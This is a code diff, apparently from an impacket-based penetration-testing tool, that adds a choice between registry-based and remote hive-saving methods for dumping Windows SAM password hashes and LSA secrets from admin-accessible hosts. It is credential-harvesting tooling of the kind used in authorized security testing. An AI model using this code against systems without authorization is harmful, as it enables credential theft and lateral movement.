99from impacket .smb import SMB_DIALECT
1010from impacket .examples .secretsdump import (
1111 RemoteOperations ,
12+ SAMHashes ,
13+ LSASecrets ,
1214 NTDSHashes ,
1315)
1416from impacket .examples .regsecrets import (
1517 RemoteOperations as RegSecretsRemoteOperations ,
16- SAMHashes ,
17- LSASecrets
18+ SAMHashes as RegSecretsSAMHashes ,
19+ LSASecrets as RegSecretsLSASecrets
1820)
1921from impacket .nmb import NetBIOSError , NetBIOSTimeout
2022from impacket .dcerpc .v5 import transport , lsat , lsad , scmr , rrp , srvs , wkst
@@ -1550,7 +1552,7 @@ def enable_remoteops(self, regsecret=False):
15501552 @requires_admin
15511553 def sam (self ):
15521554 try :
1553- self .enable_remoteops (regsecret = True )
1555+ self .enable_remoteops (regsecret = True if self . args . sam == "regdump" else False )
15541556 host_id = self .db .get_hosts (filter_term = self .host )[0 ][0 ]
15551557
15561558 def add_sam_hash (sam_hash , host_id ):
@@ -1568,11 +1570,20 @@ def add_sam_hash(sam_hash, host_id):
15681570 add_sam_hash .sam_hashes = 0
15691571
15701572 if self .remote_ops and self .bootkey :
1571- SAM = SAMHashes (
1572- self .bootkey ,
1573- remoteOps = self .remote_ops ,
1574- perSecretCallback = lambda secret : add_sam_hash (secret , host_id ),
1575- )
1573+ if self .args .sam == "regdump" :
1574+ SAM = RegSecretsSAMHashes (
1575+ self .bootkey ,
1576+ remoteOps = self .remote_ops ,
1577+ perSecretCallback = lambda secret : add_sam_hash (secret , host_id ),
1578+ )
1579+ else :
1580+ SAM_file_name = self .remote_ops .saveSAM ()
1581+ SAM = SAMHashes (
1582+ SAM_file_name ,
1583+ self .bootkey ,
1584+ isRemote = True ,
1585+ perSecretCallback = lambda secret : add_sam_hash (secret , host_id ),
1586+ )
15761587
15771588 self .logger .display ("Dumping SAM hashes" )
15781589 SAM .dump ()
@@ -1583,6 +1594,9 @@ def add_sam_hash(sam_hash, host_id):
15831594 self .remote_ops .finish ()
15841595 except Exception as e :
15851596 self .logger .debug (f"Error calling remote_ops.finish(): { e } " )
1597+
1598+ if self .args .sam == "secdump" :
1599+ SAM .finish ()
15861600 except SessionError as e :
15871601 if "STATUS_ACCESS_DENIED" in e .getErrorString ():
15881602 self .logger .fail ('Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.' )
@@ -1799,7 +1813,7 @@ def firefox_callback(secret):
17991813 @requires_admin
18001814 def lsa (self ):
18011815 try :
1802- self .enable_remoteops (regsecret = True )
1816+ self .enable_remoteops (regsecret = True if self . args . lsa == "regdump" else False )
18031817
18041818 def add_lsa_secret (secret ):
18051819 add_lsa_secret .secrets += 1
@@ -1818,11 +1832,20 @@ def add_lsa_secret(secret):
18181832 add_lsa_secret .secrets = 0
18191833
18201834 if self .remote_ops and self .bootkey :
1821- LSA = LSASecrets (
1822- self .bootkey ,
1823- self .remote_ops ,
1824- perSecretCallback = lambda secret_type , secret : add_lsa_secret (secret ),
1825- )
1835+ if self .args .lsa == "regdump" :
1836+ LSA = RegSecretsLSASecrets (
1837+ self .bootkey ,
1838+ self .remote_ops ,
1839+ perSecretCallback = lambda secret_type , secret : add_lsa_secret (secret ),
1840+ )
1841+ else :
1842+ SECURITYFileName = self .remote_ops .saveSECURITY ()
1843+ LSA = LSASecrets (
1844+ SECURITYFileName ,
1845+ self .bootkey ,
1846+ isRemote = True ,
1847+ perSecretCallback = lambda secret_type , secret : add_lsa_secret (secret ),
1848+ )
18261849 self .logger .success ("Dumping LSA secrets" )
18271850 LSA .dumpCachedHashes ()
18281851 LSA .exportCached (self .output_filename )
@@ -1833,6 +1856,8 @@ def add_lsa_secret(secret):
18331856 self .remote_ops .finish ()
18341857 except Exception as e :
18351858 self .logger .debug (f"Error calling remote_ops.finish(): { e } " )
1859+ if self .args .lsa == "secdump" :
1860+ LSA .finish ()
18361861 except SessionError as e :
18371862 if "STATUS_ACCESS_DENIED" in e .getErrorString ():
18381863 self .logger .fail ('Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.' )
0 commit comments